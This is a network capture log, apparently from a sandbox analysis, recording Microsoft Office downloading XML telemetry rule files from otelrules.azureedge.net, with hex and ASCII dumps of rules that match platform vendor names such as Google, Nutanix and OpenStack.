2024-10-28 05:28:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 336bf192-401e-00ac-1a67-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052805Z-15b8d89586fwzdd8urmg0p1ebs0000000exg000000006hb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:05 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052805Z-16849878b78q9m8bqvwuva4svc000000035g00000000409h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:05 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052805Z-16849878b785jrf8dn0d2rczaw00000005s0000000008k30 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:05 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:05 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 6c6fa777-201e-003c-1958-2630f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052805Z-r197bdfb6b4b4pw6nr8czsrctg000000058g000000003rfa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:05 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 94ed83ec-801e-0083-4bf2-24f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052805Z-15b8d89586fcvr6p5956n5d0rc0000000agg000000002pqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:06 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 07599615-001e-0082-48f6-265880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052806Z-r197bdfb6b4grkz4xgvkar0zcs000000043000000000a026 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:06 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052806Z-16849878b78qg9mlz11wgn0wcc000000045000000000a5qu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:06 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:06 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052806Z-16849878b78wv88bk51myq5vxc00000004tg00000000gc7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:06 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:06 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052806Z-16849878b78hh85qc40uyr8sc800000004vg000000008fqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:06 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:06 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052806Z-16849878b78qwx7pmw9x5fub1c00000002mg00000000md06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:07 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:07 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:07 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 75bf4e1c-f01e-0085-073a-2688ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052807Z-r197bdfb6b4zd9tpkpdngrtchw00000003u00000000085f7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:07 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:07 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:07 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:07 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052807Z-16849878b78z2wx67pvzz63kdg000000039g000000001425 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:07 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S 